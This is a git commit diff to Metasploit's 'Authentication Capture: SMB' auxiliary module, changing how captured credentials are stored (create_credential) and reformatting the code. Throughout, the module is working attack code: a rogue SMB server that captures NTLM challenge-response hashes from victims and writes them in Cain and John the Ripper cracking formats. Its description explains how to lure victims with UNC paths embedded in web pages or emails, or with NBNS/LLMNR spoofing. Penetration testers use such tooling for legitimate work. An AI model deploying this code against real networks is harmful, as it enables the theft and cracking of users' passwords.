Fix server/capture/smb to use create_credential

bug/bundler_fix
James Lee 2015-01-15 22:39:11 -06:00
parent ac4eb3bb90
commit 273ba54a21
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
2 changed files with 300 additions and 296 deletions

View File

@ -20,9 +20,10 @@ module Exploit::Remote::SMBServer
def initialize(info = {})
super
deregister_options('SSL', 'SSLCert')
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
], self.class)
end

View File

@ -13,53 +13,66 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SMBServer
def initialize
super(
'Name' => 'Authentication Capture: SMB',
'Description' => %q{
This module provides a SMB service that can be used to
capture the challenge-response password hashes of SMB client
systems. Responses sent by this service have by default the
configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
allowing for easy cracking using Cain & Abel, L0phtcrack
or John the ripper (with jumbo patch).
super({
'Name' => 'Authentication Capture: SMB',
'Description' => %q{
This module provides a SMB service that can be used to capture the
challenge-response password hashes of SMB client systems. Responses
sent by this service have by default the configurable challenge string
(\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using
Cain & Abel, L0phtcrack or John the ripper (with jumbo patch).
To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication attempt
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
email message. When the victim views the web page or email, their
system will automatically connect to the server specified in the UNC
share (the IP address of the system running this module) and attempt
to authenticate.
To exploit this, the target system must try to authenticate to this
module. One way to force an SMB authentication attempt is by embedding
a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When
the victim views the web page or email, their system will
automatically connect to the server specified in the UNC share (the IP
address of the system running this module) and attempt to
authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to
respond to queries for names the victim is already looking for.
},
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Sniffer' ]
],
'PassiveActions' =>
[
'Sniffer'
],
'DefaultAction' => 'Sniffer'
)
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Actions' => [ [ 'Sniffer' ] ],
'PassiveActions' => [ 'Sniffer' ],
'DefaultAction' => 'Sniffer'
})
register_options(
[
#OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ])
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in John format", nil ]),
OptString.new('CHALLENGE', [ true, "The 8 byte server challenge", "1122334455667788" ])
], self.class )
register_advanced_options(
[
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " +
"When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " +
"When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
OptBool.new("SMB_EXTENDED_SECURITY",
[ true,
"Use smb extended security negotiation, when set client will use " \
"ntlmssp, if not then client will use classic lanman " \
"authentification",
false
]),
OptBool.new("NTLM_UseNTLM2_session",
[ true,
"Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " \
"When SMB_EXTENDED_SECURITY negotiate is set, client will use " \
"ntlm2_session instead of ntlmv1 (default on win 2K and above)",
false
]),
OptBool.new("USE_GSS_NEGOTIATION",
[ true,
"Send a gss_security blob in smb_negotiate response when SMB " \
"extended security is set. When this flag is not set, Windows will " \
"respond without gss encapsulation, Ubuntu will still use gss.",
true
]),
OptString.new('DOMAIN_NAME',
[ true,
"The domain name used during smb exchange with SMB_EXTENDED_SECURITY set.",
"anonymous"
])
], self.class)
end
@ -81,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary
#those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
@previous_lm_hash="none"
@previous_ntlm_hash="none"
exploit()
exploit
end
def smb_cmd_dispatch(cmd, c, buff)
@ -110,8 +123,8 @@ class Metasploit3 < Msf::Auxiliary
#This packet contains the lm/ntlm hashes
if wordcount == 0x0D
smb_cmd_session_setup(c, buff, false)
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
elsif wordcount == 0x0C
smb_cmd_session_setup(c, buff, true)
else
@ -119,8 +132,8 @@ class Metasploit3 < Msf::Auxiliary
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
end
when CONST::SMB_COM_TREE_CONNECT
print_status("SMB Capture - Denying tree connect from #{smb[:name]} - #{smb[:ip]}")
smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn)
@ -136,13 +149,6 @@ class Metasploit3 < Msf::Auxiliary
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
group = ''
machine = smb[:nbsrc]
@ -197,16 +203,11 @@ class Metasploit3 < Msf::Auxiliary
def smb_cmd_session_setup(c, buff, esn)
smb = @state[c]
#extended security has been negotiated
# extended security has been negotiated
if esn
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
securityblobLen = pkt['Payload'].v['SecurityBlobLen']
blob = pkt['Payload'].v['Payload'][0,securityblobLen]
@ -224,7 +225,6 @@ class Metasploit3 < Msf::Auxiliary
return
end
end
ntlm_message = NTLM_MESSAGE::parse(blob)
@ -264,24 +264,27 @@ class Metasploit3 < Msf::Auxiliary
sb_flag = 0xe2828215 #no ntlm2
end
if c_gss
securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain,
win_name,
dns_domain,
dns_name,
@challenge,
sb_flag)
securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall(
win_domain,
win_name,
dns_domain,
dns_name,
@challenge,
sb_flag
)
else
securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain,
win_name,
dns_domain,
dns_name,
@challenge,
sb_flag)
securityblob = NTLM_UTILS::make_ntlmssp_blob_chall(
win_domain,
win_name,
dns_domain,
dns_name,
@challenge,
sb_flag
)
end
pkt['Payload'].v['SecurityBlobLen'] = securityblob.length
pkt['Payload'].v['Payload'] = securityblob
c.put(pkt.to_s)
when NTLM_MESSAGE::Type3
@ -292,8 +295,9 @@ class Metasploit3 < Msf::Auxiliary
lm_len = ntlm_message.lm_response.length # Always 24
nt_len = ntlm_message.ntlm_response.length
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
if nt_len == 24 # lmv1/ntlmv1 or ntlm2_session
arg = {
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
}
@ -301,14 +305,15 @@ class Metasploit3 < Msf::Auxiliary
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
#if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 24 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
:nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
# if the length of the ntlm response is not 24 then it will be
# bigger and represent an NTLMv2 response
elsif nt_len > 24 # lmv2/ntlmv2
arg = {
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
:nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
}
elsif nt_len == 0
print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
@ -326,46 +331,39 @@ class Metasploit3 < Msf::Auxiliary
smb[:username] = ntlm_message.user
smb[:domain] = ntlm_message.domain
smb[:peer_os] = names[0]
smb[:peer_lm] = names[1]
smb[:peer_os] = names[0]
smb[:peer_lm] = names[1]
begin
smb_get_hash(smb,arg,true)
rescue ::Exception => e
print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}")
end
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
else
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
end
#if not we can get the hash and send a status_access_denied response packet
# if not, we can get the hash and send a status_access_denied response packet
else
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff)
# Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
nt_len = pkt['Payload'].v['PasswordLenNT']
if nt_len == 24
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
arg = {
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
}
#if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
# if the length of the ntlm response is not 24 then it will be bigger
# and represent an NTLMv2 response
elsif nt_len > 24
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
arg = {
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
@ -387,12 +385,11 @@ class Metasploit3 < Msf::Auxiliary
smb[:username] = names[0]
smb[:domain] = names[1]
smb[:peer_os] = names[2]
smb[:peer_lm] = names[3]
smb[:peer_os] = names[2]
smb[:peer_lm] = names[3]
begin
smb_get_hash(smb,arg,false)
rescue ::Exception => e
print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
end
@ -400,20 +397,20 @@ class Metasploit3 < Msf::Auxiliary
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
end
end
def smb_get_hash(smb, arg = {}, esn=true)
ntlm_ver = arg[:ntlm_ver]
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
else
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
lm_cli_challenge = arg[:lm_cli_challenge]
nt_cli_challenge = arg[:nt_cli_challenge]
end
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
# These are not used for NTLM_V1_RESPONSE or NTLM_2_SESSION_RESPONSE, so
# it's fine if they're nil
lm_cli_challenge = arg[:lm_cli_challenge]
nt_cli_challenge = arg[:nt_cli_challenge]
# Clean up the data for logging
if (smb[:username] == "")
@ -424,145 +421,156 @@ class Metasploit3 < Msf::Auxiliary
smb[:domain] = nil
end
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
# Check if we have default values (empty pwd, null hashes, ...) and adjust
# the on-screen messages correctly
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?(
{
:hash => [nt_hash].pack("H*"),
:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:type => 'ntlm'
}
)
print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
return
end
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
lm_hash_message = "Disabled"
elsif NTLM_CRYPT::is_hash_from_empty_pwd?(
{
:hash => [lm_hash].pack("H*"),
:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:type => 'lm'
}
)
lm_hash_message = "Disabled (from empty password)"
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_V2_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?(
{
:hash => [nt_hash].pack("H*"),
:srv_challenge => @challenge,
:cli_challenge => [nt_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(smb[:username]),
:domain => Rex::Text::to_ascii(smb[:domain]),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:type => 'ntlm'
}
)
print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
return
end
@previous_lm_hash = lm_hash
@previous_ntlm_hash = nt_hash
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
return
end
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
lm_hash_message = "Disabled"
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
lm_hash_message = "Disabled (from empty password)"
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_V2_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [nt_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(smb[:username]),
:domain => Rex::Text::to_ascii(smb[:domain]),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
return
end
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
lm_hash_message = "Disabled"
lm_chall_message = 'Disabled'
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [lm_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(smb[:username]),
:domain => Rex::Text::to_ascii(smb[:domain]),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
lm_hash_message = "Disabled (from empty password)"
lm_chall_message = 'Disabled'
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [lm_hash].pack("H*")[0,8],
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
return
end
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
lm_hash_message = "Disabled"
lm_chall_message = 'Disabled'
elsif NTLM_CRYPT::is_hash_from_empty_pwd?(
{
:hash => [lm_hash].pack("H*"),
:srv_challenge => @challenge,
:cli_challenge => [lm_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(smb[:username]),
:domain => Rex::Text::to_ascii(smb[:domain]),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:type => 'lm'
}
)
lm_hash_message = "Disabled (from empty password)"
lm_chall_message = 'Disabled'
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
# Display messages
if esn
smb[:username] = Rex::Text::to_ascii(smb[:username])
smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain]
end
capturedtime = Time.now.to_s
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
smb_db_type_hash = "smb_netv1_hash"
capturelogmessage =
"SMB Captured - #{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
when NTLM_CONST::NTLM_V2_RESPONSE
smb_db_type_hash = "smb_netv2_hash"
capturelogmessage =
"SMB Captured - #{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
#we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
#also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
smb_db_type_hash = "smb_netv1_hash"
capturelogmessage =
"SMB Captured - #{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
else # should not happen
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?(
{
:hash => [nt_hash].pack("H*"),
:srv_challenge => @challenge,
:cli_challenge => [lm_hash].pack("H*")[0,8],
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE,
:type => 'ntlm'
}
)
print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
return
end
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
print_status(capturelogmessage)
lm_text = (lm_hash + lm_cli_challenge.to_s).empty? ? "00" * 24 : lm_hash + lm_cli_challenge.to_s
nt_text = (nt_hash + nt_cli_challenge.to_s).empty? ? "00" * 24 : nt_hash + nt_cli_challenge.to_s
pass = "#{smb[:domain]}:#{lm_text}:#{nt_text}:#{datastore['CHALLENGE'].to_s}"
# Display messages
if esn
smb[:username] = Rex::Text::to_ascii(smb[:username])
smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain]
end
# DB reporting
report_auth_info(
:host => smb[:ip],
:port => datastore['SRVPORT'],
:sname => 'smb_challenge',
:user => smb[:username],
:pass => pass,
:type => smb_db_type_hash,
:proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}",
:source_type => "captured",
:active => true
)
capturedtime = Time.now.to_s
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
capturelogmessage = [
"SMB Captured - #{capturedtime}",
"NTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]}",
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}",
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"}",
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}",
].join("\n")
when NTLM_CONST::NTLM_V2_RESPONSE
capturelogmessage = [
"SMB Captured - #{capturedtime}",
"NTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]}",
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}",
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} ",
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}",
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} ",
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}",
].join("\n")
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
# we can consider those as netv1 has they have the same size and are
# cracked the same way by cain/jtr also 'real' netv1 is almost never
# seen nowadays except with smbmount or msf server capture
capturelogmessage = [
"SMB Captured - #{capturedtime}",
"NTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]}",
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}",
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}",
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} ",
].join("\n")
else # should not happen
return
end
report_note(
:host => smb[:ip],
:type => "smb_peer_os",
:data => smb[:peer_os]
) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)
print_status(capturelogmessage)
report_note(
:host => smb[:ip],
:type => "smb_peer_lm",
:data => smb[:peer_lm]
) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)
report_note(
:host => smb[:ip],
:type => "smb_peer_os",
:data => smb[:peer_os]
) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)
report_note(
:host => smb[:ip],
:type => "smb_domain",
:data => smb[:domain]
) if (smb[:domain] and smb[:domain].strip.length > 0)
report_note(
:host => smb[:ip],
:type => "smb_peer_lm",
:data => smb[:peer_lm]
) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)
report_note(
:host => smb[:ip],
:type => "smb_domain",
:data => smb[:domain]
) if (smb[:domain] and smb[:domain].strip.length > 0)
#if(datastore['LOGFILE'])
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
#end
return unless smb[:username]
if(datastore['CAINPWFILE'] and smb[:username])
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
fd = File.open(datastore['CAINPWFILE'], "ab")
if(datastore['CAINPWFILE'] and smb[:username])
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
File.open(datastore['CAINPWFILE'], "ab") do |fd|
fd.puts(
[
smb[:username],
@ -572,84 +580,79 @@ class Metasploit3 < Msf::Auxiliary
nt_hash.empty? ? "0" * 48 : nt_hash
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
if(datastore['JOHNPWFILE'] and smb[:username])
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE
fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
fd.puts(
[
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
lm_hash.empty? ? "0" * 48 : lm_hash,
nt_hash.empty? ? "0" * 48 : nt_hash,
@challenge.unpack("H*")[0]
].join(":").gsub(/\n/, "\\n")
)
fd.close
when NTLM_CONST::NTLM_V2_RESPONSE
#lmv2
fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
fd.puts(
[
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
@challenge.unpack("H*")[0],
lm_hash.empty? ? "0" * 32 : lm_hash,
lm_cli_challenge.empty? ? "0" * 16 : lm_cli_challenge
].join(":").gsub(/\n/, "\\n")
)
fd.close
#ntlmv2
fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
fd.puts(
[
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
@challenge.unpack("H*")[0],
nt_hash.empty? ? "0" * 32 : nt_hash,
nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
end
end
def smb_cmd_close(c, buff)
end
return if @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash
@previous_lm_hash = lm_hash
@previous_ntlm_hash = nt_hash
def smb_cmd_create(c, buff)
end
creds = []
def smb_cmd_delete(c, buff)
end
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE
jtr_hash = [
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
lm_hash.empty? ? "0" * 48 : lm_hash,
nt_hash.empty? ? "0" * 48 : nt_hash,
@challenge.unpack("H*")[0]
].join(":").strip
def smb_cmd_nttrans(c, buff)
end
creds.push(jtr_format: 'netntlm', private_data: jtr_hash)
def smb_cmd_open(c, buff)
end
when NTLM_CONST::NTLM_V2_RESPONSE
# don't bother recording if LMv2 is disabled
unless lm_hash == '0'*32
# lmv2
jtr_hash = [
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
@challenge.unpack("H*")[0],
lm_hash,
lm_cli_challenge
].join(":").strip
def smb_cmd_read(c, buff)
end
creds.push(jtr_format: 'netlmv2', private_data: jtr_hash)
end
def smb_cmd_trans(c, buff)
end
# NTLMv2
jtr_hash = [
smb[:username],"",
smb[:domain] ? smb[:domain] : "NULL",
@challenge.unpack("H*")[0],
nt_hash.empty? ? "0" * 32 : nt_hash,
nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge
].join(":").strip
def smb_cmd_tree_connect(c, buff)
end
creds.push(jtr_format: 'netntlmv2', private_data: jtr_hash)
def smb_cmd_tree_disconnect(c, buff)
end
end
# TODO we probably need a new Origin::Capture for this
@origin ||= create_credential_origin_import(filename: 'msfconsole')
creds.each do |cred|
create_credential(
origin: @origin,
address: smb[:ip],
service_name: 'smb',
port: datastore['SRVPORT'],
private_data: cred[:private_data],
private_type: :nonreplayable_hash,
jtr_format: cred[:jtr_format],
username: smb[:username],
module_fullname: self.fullname,
workspace_id: myworkspace_id,
)
if datastore['JOHNPWFILE']
File.open(datastore['JOHNPWFILE'] + '_' + cred[:jtr_format] , "ab") do |fd|
fd.puts(cred[:private_data])
end
end
end
def smb_cmd_write(c, buff)
end
end